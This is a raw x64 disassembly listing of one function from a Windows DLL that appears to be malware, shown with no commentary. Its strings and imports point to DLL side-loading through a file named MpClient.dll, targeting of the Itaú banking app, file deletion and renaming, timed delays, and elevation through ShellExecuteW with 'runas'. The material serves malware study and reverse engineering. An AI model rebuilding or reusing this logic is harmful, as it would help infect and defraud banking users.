sub rax, rcx
cmp rax, 0xc
jb 0x180006fd8
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r9, qword [rbp + 0x50]
mov qword [rsp + 0x30], 0xc
lea r8, str.MpClient.dll
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x10]
call fcn.18000be60
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.1800035f0
test al, al
je 0x1800065e3
xor ecx, ecx
call fcn.180015ab4
mov rcx, rax
call fcn.180016110
lea rcx, [rbp + 0x70]
call fcn.180003b90
nop
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
mov r9, qword [rbp]
mov rcx, rax
call fcn.18000bf80
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..old
lea rcx, [rbp - 0x30]
call fcn.18000a830
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.180016564
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18000653f
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000653a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fde
call fcn.18000dc40
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18000658a
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006585
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fe4
call fcn.18000dc40
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800065d8
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800065d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006fea
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x180045c78]
sub rdi, rax
cmp rdi, 0xd
jb 0x180006ff0
cmp qword [0x180045c80], 0x10
cmovae r14, qword [0x180045c68]
mov qword [rsp + 0x30], 0xd
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov r9, r14
lea rcx, [rbp - 0x30]
call fcn.18000be60
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call fcn.180016564
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180006682
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000667d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006ff6
call fcn.18000dc40
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180006e93
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800066c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006ffc
call fcn.18000dc40
jmp 0x180006e93
lea rcx, [rbp + 0x70]
call fcn.180002b40
mov rbx, rax
mov rdx, qword [0x180045c78]
mov rcx, rdi
sub rcx, rdx
cmp rcx, 1
jb 0x180007002
mov r9, r14
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 1
lea rsi, [0x18003f384]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0xb0]
call fcn.18000be60
nop
mov r9, rbx
lea r8, [rbp + 0xb0]
lea rcx, [rbp - 0x30]
call fcn.18000bc70
nop
mov r8d, 5
lea rdx, str.S.ini
lea rcx, [rbp - 0x30]
call fcn.18000a830
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800067d4
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800067cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007008
call fcn.18000dc40
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18000681f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000681a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000700e
call fcn.18000dc40
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x180006871
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000686b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007014
call fcn.18000dc40
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800068af
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800068aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000701a
call fcn.18000dc40
test bl, bl
je 0x180006c85
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x30]
call fcn.180002b40
mov rbx, rax
mov rcx, qword [0x180045c78]
sub rdi, rcx
cmp rdi, 1
jb 0x180007020
mov r9, r14
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.18000be60
nop
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.18000ae30
nop
lea r8, str.S.ini
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.18000ac60
nop
lea rcx, [rbp - 0x10]
call fcn.180009e50
nop
lea rcx, [rbp - 0x30]
call fcn.180009e50
nop
lea rcx, [rbp + 0x30]
call fcn.180009e50
lea rcx, [rbp + 0xf0]
call fcn.180003770
lea rcx, [rbp + 0xb0]
call fcn.180009e00
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1800099c0
nop
mov qword [rbp + 0x30], r15
mov word [rbp + 0x38], 1
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x10]
call fcn.180008980
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.18000af30
nop
lea rcx, [rbp + 0xf0]
call fcn.180009920
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.180009e10
mov rbx, rax
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xb0]
call fcn.180009e30
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x70]
call fcn.18000abb0
mov rcx, rax
call fcn.180009d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x70]
call fcn.180009d90
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rdx, [0x18003f5f8]
lea rcx, [rsp + 0x70]
call fcn.180009eb0
mov rbx, rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.180009ef0
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.180003990
nop
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
lea rdx, [0x18003f5f8]
lea rcx, [rbp + 0x30]
call fcn.180009eb0
mov rbx, rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.180009ef0
nop
mov r9d, 1
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180003990
nop
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x70]
call fcn.180009ef0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180002f60
nop
mov r8, rax
lea rdx, str.c:WindowsSysWOW64_
lea rcx, [rbp + 0xd0]
call fcn.18000aec0
nop
lea rcx, [rbp - 0x70]
call fcn.180009e50
lea rcx, [rbp + 0x10]
call fcn.180009e00
mov rcx, rax
call fcn.1800035f0
test al, al
je 0x180006c3c
lea rcx, [rbp + 0xd0]
call fcn.180009e00
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.180009e00
mov rcx, rax
mov rdx, rbx
call fcn.180016564
lea rcx, [rbp - 0x50]
call fcn.180002b40
mov rbx, rax
mov r8, rsi
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.18000acd0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.18000ae30
nop
lea r8, str.S.txt
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.18000ac60
nop
lea rcx, [rbp + 0x30]
call fcn.180009e50
nop
lea rcx, [rbp + 0x90]
call fcn.180009e50
nop
lea rcx, [rbp - 0x50]
call fcn.180009e50
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x30]
call fcn.180009e10
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.180009e30
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp - 0x70]
call fcn.18000abb0
mov rcx, rax
call fcn.180009d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x70]
call fcn.180009d90
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea r8, [0x18003f5f8]
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.18000acd0
nop
lea r8, [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.18000ae50
mov rbx, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.180009ef0
nop
mov rdx, rbx
mov rcx, rax
call fcn.180001d60
nop
lea rcx, [rsp + 0x50]
call fcn.180009e50
nop
lea rcx, [rbp - 0x30]
call fcn.180009e50
nop
lea rcx, [rbp + 0xd0]
call fcn.180009e50
nop
lea rcx, [rbp - 0x10]
call fcn.180009e50
nop
lea rcx, [rbp + 0x10]
call fcn.180009e50
nop
lea rcx, [rbp + 0x70]
call fcn.180009e50
nop
lea rcx, [rbp + 0xf0]
call fcn.1800036d0
nop
lea rcx, [rbp + 0xb0]
call fcn.180009e50
jmp 0x180006e93
lea r8, str.ClassicIE_641.ini
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.18000acd0
nop
mov rcx, rax
call fcn.180009e00
mov rcx, rax
call fcn.1800035f0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.180009e50
test bl, bl
je 0x180006e8c
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x180047910], 0
jne 0x180006e93
lea r8, str.MpClient.dll
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.18000acd0
nop
mov rcx, rax
call fcn.180009e00
mov rcx, rax
call fcn.1800035f0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.180009e50
test bl, bl
je 0x180006e93
lea rdx, str.itauaplicativo.exe
lea rcx, [rsp + 0x50]
call fcn.180009eb0
mov rcx, rax
call fcn.180004e60
mov edi, eax
test eax, eax
je 0x180006e01
lea r8, str.dllhost_2.ini
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0xb0]
call fcn.18000acd0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xb0]
call fcn.180009e10
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.180009e30
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xd0]
call fcn.18000abb0
nop
lea rcx, [rbp + 0xd0]
call fcn.180009d80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov qword [rbp + 0x90], rax
mov edx, edi
lea rcx, [rsp + 0x50]
call fcn.180001c80
mov rbx, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call fcn.180009ef0
nop
mov rdx, rbx
mov rcx, rax
call fcn.180001d60
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0xd0]
call fcn.180009d90
nop
lea rcx, [rbp + 0xb0]
call fcn.180009e50
mov byte [0x180047910], 1
mov r8, r12
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.18000acd0
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.180009e10
mov rbx, rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.180009e30
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp - 0x30]
call fcn.18000abb0
lea rcx, [rbp - 0x30]
call fcn.180009d80
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
lea r9, [0x18003f440]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x30]
call fcn.180009d90
nop
lea rcx, [rbp + 0x70]
call fcn.180009e50
jmp 0x180006e93
mov byte [0x180047910], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x180006eca
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ec5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006efa
call fcn.18000dc40
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.18000dc20
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
int3
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
int3
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
int3
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
int3
call fcn.180015a3c
int3
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
int3
call fcn.180001290
int3
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180001290
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180015a3c
nop
call fcn.180001290
int3